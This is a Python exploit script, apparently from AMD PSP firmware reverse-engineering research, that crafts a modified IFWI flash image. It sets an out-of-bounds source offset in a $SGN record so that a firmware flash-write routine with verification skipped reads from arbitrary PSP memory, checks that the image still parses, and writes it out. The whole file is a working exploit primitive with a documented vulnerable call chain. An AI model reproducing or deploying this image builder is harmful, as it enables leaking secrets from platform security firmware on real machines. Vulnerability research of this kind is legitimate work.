1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
|
"""Craft a minimal-diff IFWI whose $SGN record carries an out-of-bounds source offset.
Strategy: start from the REAL BIOS-2 image, which already satisfies the whole
parse contract, and change as little as possible. Only the $SGN record field that
becomes the source offset in the unverified copy is altered.
Chain being targeted (all verified in sys_drv2.elf):
fw_tail_record_check stores raw record dwords at ctx + 16*i + 124..136
tsu_write_active_slot calls tsu_write_block(..., src=*(a3+16*i+136), ..., a6=0, 0)
tsu_write_block a6==0 -> tsu_verify_region SKIPPED
spi_write_status source pointer (a2 + a3) NEVER bounds-checked
-> memcmp_be reads it, spi_erase_and_write copies it to flash
The destination and length come from the ON-FLASH context, not from us, so this
only redirects WHERE THE DATA IS READ FROM.
"""
import struct, sys
sys.path.insert(0, "/Users/user/dev/amd-psp-re/psp_out")
from ifwi_parse_model import parse, Fail, u32
SRC = "/Users/user/dev/amd-psp-re/psp_out/flash_BIOS2_KNOWNGOOD_20260917.bin"
OUT = "/Users/user/dev/amd-psp-re/psp_out/crafted_leak.bin"
# Where we want the PSP to read from, expressed as an offset from the mapped
# 2 MiB buffer base. Negative -> below the mapping, into PSP address space.
# 0x400000 is the TA window; mapped_base is unknown, so this is parameterised.
TARGET_OFFSET = int(sys.argv[1], 0) if len(sys.argv) > 1 else 0xFFF00000
img = bytearray(open(SRC, 'rb').read())
print("template : %s (%d bytes)" % (SRC, len(img)))
# --- locate the $SGN table exactly as fw_tail_record_check does --------------
sgn = u32(img, 4096)
assert u32(img, sgn) == 0x4E475324, "no $SGN at %#x" % sgn
count = u32(img, sgn + 8)
print("$SGN : @%#x, %d records" % (sgn, count))
# --- show the records, and which dword becomes the source offset -------------
# fw_tail_record_check stores four dwords per matching record; the one landing at
# ctx+16*i+136 is the 4th (index 3) -- that is the source offset used by
# tsu_write_block with the verify flag zero.
print("\nrecords (type, w1, w2, w3):")
targets = []
for j in range(count):
base = sgn + 16 + j*16
w = tuple(u32(img, base + k*4) for k in range(4))
print(" [%d] @%#08x type=%-3d %#010x %#010x %#010x" % (j, base, w[0], w[1], w[2], w[3]))
targets.append((j, base, w))
# pick the first record whose type is in the 1..7 range the firmware walks
pick = next((t for t in targets if 1 <= t[2][0] <= 7), None)
if pick is None: raise SystemExit("no record with type 1..7")
j, base, w = pick
print("\npatching record [%d] (type %d): w3 %#010x -> %#010x" % (j, w[0], w[3], TARGET_OFFSET))
struct.pack_into('<I', img, base + 12, TARGET_OFFSET & 0xFFFFFFFF)
# --- re-run the parse model: must STILL parse -------------------------------
print("\n--- re-parsing the crafted image ---")
try:
ctx, trace = parse(bytes(img))
for t in trace: print(t)
print(" RESULT: PARSE SUCCEEDS -> reaches tsu_write_active_slot")
ok = True
except Fail as e:
print(" RESULT: PARSE FAILS -> %s" % e)
ok = False
diff = sum(1 for a, b in zip(open(SRC,'rb').read(), img) if a != b)
print("\ndiff vs template: %d bytes" % diff)
if ok:
open(OUT, 'wb').write(bytes(img))
print("wrote %s" % OUT)
print("\nNOTE: not for hardware. Next step is emulation of fw_tail_record_check")
print(" + tsu_write_block to confirm the source pointer resolves OOB.")
|